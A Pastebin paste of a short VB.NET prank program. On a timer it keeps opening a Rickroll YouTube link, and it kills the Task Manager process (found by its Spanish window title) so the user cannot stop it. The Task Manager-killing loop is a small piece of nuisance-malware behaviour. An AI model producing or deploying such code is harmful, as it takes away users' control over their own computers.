Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class Form1
- Public Declare Auto Function FindWindowNullClassName Lib "User32.dll" Alias "FindWindow" (ByVal lpClassname As Integer, ByVal lpWindownName As String) As Integer
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- System.Diagnostics.Process.Start("https://www.youtube.com/watch?v=dQw4w9WgXcQ") 'Never gonna give you up
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Dim hWnd As Integer = FindWindowNullClassName(0, "Administrador de tareas")
- Dim myprocess() As Process = System.Diagnostics.Process.GetProcessesByName("taskmgr")
- If hWnd <> 0 Then
- For Each mykill As Process In myprocess
- mykill.Kill()
- Next
- End If
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment